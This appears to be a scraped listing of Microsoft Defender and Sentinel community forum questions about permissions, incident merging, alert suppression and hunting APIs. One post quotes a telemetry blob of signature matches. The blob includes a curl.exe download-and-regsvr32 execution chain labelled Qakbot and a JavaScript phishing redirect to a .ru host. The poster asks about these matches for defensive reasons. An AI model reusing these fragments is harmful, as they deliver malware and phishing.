Forum Widgets
Latest Discussions
Explorer permission to download an email
Global Admin is allegedly not sufficient access to download an email. So I have a user asking for a copy of her emaill, and I'm telling her 'sorry, I don't have that permission', I'm only global admin' What? The documentation basically forces you to use the new terrible 'role group' system. I see various 'roles' that you need to add to a 'role group' in order to do this.. Some mention Preview, some mention Security Administrator, some mention Security Operator. I've asked copilot 100 different times, and he keeps giving me made up roles. But then linking to the made up role. How is such a basic functionality broken? It makes 0 sense. I don't want to submit this email - it's not malware or anything. I just want to download the **bleep** thing, and I don't want to have to go through the whole poorview process. This is really basic stuff. I can do this on about 10% of my GA accounts. There's no difference in the permissions - it just seems inconsistent.
How to stop incidents merging under new incident (MultiStage) in defender.
Dear All We are experiencing a challenge with the integration between Microsoft Sentinel and the Defender portal where multiple custom rule alerts and analytic rule incidents are being automatically merged into a single incident named "Multistage." This automatic incident merging affects the granularity and context of our investigations, especially for important custom use cases such as specific admin activities and differentiated analytic logic. Key concerns include: Custom rule alerts from Sentinel merging undesirably into a single "Multistage" incident in Defender, causing loss of incident-specific investigation value. Analytic rules arising from different data sources and detection logic are merged, although they represent distinct security events needing separate attention. Customers require and depend on distinct, non-merged incidents for custom use cases, and the current incident correlation and merging behavior undermines this requirement. We understand that Defender’s incident correlation engine merges incidents based on overlapping entities, timelines, and behaviors but would like guidance or configuration best practices to disable or minimize this automatic merging behavior for our custom and analytic rule incidents. Our goal is to maintain independent incidents corresponding exactly to our custom alerts so that hunting, triage, and response workflows remain precise and actionable. Any recommendations or advanced configuration options to achieve this separation would be greatly appreciated. Thank you for your assistance. Best regards
Disable Defender for Cloud Apps alerts
Hi all, we just enabled Defender for Cloud Apps in our environment (about 500 clients). We started with setting about 300 apps to "Unsanctioned". Now we get flooded with alerts. Mainly "Connection to a custom network indicator on one endpoint" and "Multi-stage incident on multiple endpoints" when an URL is blocked on more clients. Is there a possibility to disable the alerts for this kind of blocks? I tried creating a supression rules, but didnt manage to get it working. Dont know if it is not possible or if I made a mistake. As the Defender for Cloud Apps just creates a Indicator for every app i want to block I could click every single Indicator and disable the alert there. But thats a few hundred Indicators and we plan to extend the usage. Can I centrally disable alerts for custom indicators? Thanks & CheersNetworkSignatureInspected
Hi, Whilst looking into something, I was thrown off by a line in a device timeline export, with ActionType of NetworkSignatureInspected, and the content. I've read this article, so understand the basics of the function: Enrich your advanced hunting experience using network layer signals from Zeek I popped over to Sentinel to widen the search as I was initially concerned, but now think it's expected behaviour as I see the same data from different devices. Can anyone provide any clarity on the contents of AdditionalFields, where the ActionType is NetworkSignatureInspected, references for example CVE-2021-44228: ${token}/sendmessage`,{method:"post",%90%00%02%10%00%00%A1%02%01%10*%A9Cj)|%00%00$%B7%B9%92I%ED%F1%91%0B\%80%8E%E4$%B9%FA%01.%EA%FA<title>redirecting...</title><script>window.location.href="https://uyjh8.phiachiphe.ru/bjop8dt8@0uv0/#%90%02%1F@%90%02%1F";%90%00!#SCPT:Trojan:BAT/Qakbot.RVB01!MTB%00%02%00%00%00z%0B%01%10%8C%BAUU)|%00%00%CBw%F9%1Af%E3%B0?\%BE%10|%CC%DA%BE%82%EC%0B%952&&curl.exe--output%25programdata%25\xlhkbo\ff\up2iob.iozv.zmhttps://neptuneimpex.com/bmm/j.png&&echo"fd"&®svr32"%90%00!#SCPT:Trojan:HTML/Phish.DMOH1!MTB%00%02%00%00%00{%0B%01%10%F5):[)|%00%00v%F0%ADS%B8i%B2%D4h%EF=E"#%C5%F1%FFl>J<scripttype="text/javascript">window.location="https:// Defender reports no issues on the device and logs (for example DeviceNetworkEvents or CommonSecurityLog) don't return any hits for the sites referenced. Any assistance with rationalising this would be great, thanks.
Security Admin role replacement with Defender XDR
We currently have the Security Administrator role assigned to multiple users in our organization. We are considering replacing it with custom RBAC roles in Microsoft Defender XDR as described in https://learn.microsoft.com/en-us/defender-xdr/custom-roles Our goal is to provide these users full access to the Microsoft Defender security portal so they can respond to alerts and manage security operations. They do not require access to the Entra ID portal for tasks such as managing conditional access policies or authentication method policies. Can we completely remove the Security Administrator role and rely solely on the custom RBAC role in Defender XDR to meet these requirements?
Custom data collection in MDE - what is default?
So you just announced the preview of "Custom data collection in Microsoft Defender for Endpoint (Preview)" which lets me ingest custom data to sentinel. Is there also an overview of what is default and what I can add? e.g. we want to examine repeating disconnects from AzureVPN clients (yes, it's most likely just Microsoft's fault, as the app ratings show 'everyone' is having them) How do I know which data I can add to DeviceCustomNetworkEvents which isnt already in DeviceNetworkEvents?Permissions to see and manage sentinel workspace in Defender XDR
Hi Team, One of my customers recently completed their Sentinel → Defender portal migration. Initially, I didn’t have access to view the Defender portal, but after the migration I was assigned the Security Operator role in Entra (via PIM), which now allows me to access the Defender portal.However, when I navigate to: Defender portal → System → Settings → Microsoft Sentinel → Workspaces. I’m unable to view the available workspaces. The portal shows an insufficient permissions error, and I also cannot switch the primary/secondary workspace. Could you please advise on the exact permissions/roles required to: View the Sentinel workspace list in Defender, and Switch the primary workspace? Thanks in advanceXDR RBAC missing Endpoint & Vulnerability Management
I've been looking at ways to provide a user with access to the Vulnerability Dashboard and associated reports without giving them access to anything else within Defender (Email, Cloud App etc) looking at the article https://learn.microsoft.com/en-us/defender-xdr/activate-defender-rbac it has a slider for Endpoint Management which I don't appear to have? I have business Premium licences which give me GA access to see the data so I know I'm licenced for it and it works but I can't figure out how to assign permissions. When looking at creating a custom permission here https://learn.microsoft.com/en-us/defender-xdr/custom-permissions-details#security-posture--posture-management it mentions Security Posture Management would give them Vulnerability Management Level Read which is what I'm after but that doesn't appear to be working. The test account i'm using to try this out just gets an error Error getting device data I'm assuming its because it doesn't have permissions of the device details?XDR advanced hunting region specific endpoints
Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it: 1. To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#fetch-the-openid-configuration-document) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Since using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region? 2. As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?XDR Advanced hunting API region availability
Hi, I am exploring XDR advanced hunting API to fetch data specific to Microsoft Defender for Endpoint tenants. The official documentation (https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) mentions to switch to Microsoft Graph advanced hunting API. I had below questions related to it: To fetch the region specific(US , China, Global) token and Microsoft Graph service root endpoints(https://learn.microsoft.com/en-us/graph/deployments#app-registration-and-token-service-root-endpoints ) , is the recommended way to fetch the OpenID configuration document (https://learn.microsoft.com/en-us/entra/identity-platform/v2-protocols-oidc#find-your-apps-openid-configuration-document-uri) for a tenant ID and based on the response, the region specific SERVICE/TOKEN endpoints could be fetched? Using it, there is no need to maintain different end points for tenants in different regions. And do we use the global service URL https://login.microsoftonline.com to fetch OpenID config document for a tenantID in any region? As per the documentation, Microsoft Graph Advanced hunting API is not supported in China region (https://learn.microsoft.com/en-us/graph/api/security-security-runhuntingquery?view=graph-rest-1.0&tabs=http). In this case, is it recommended to use Microsoft XDR Advanced hunting APIs(https://learn.microsoft.com/en-us/defender-xdr/api-advanced-hunting) to support all region tenants(China, US, Global)?
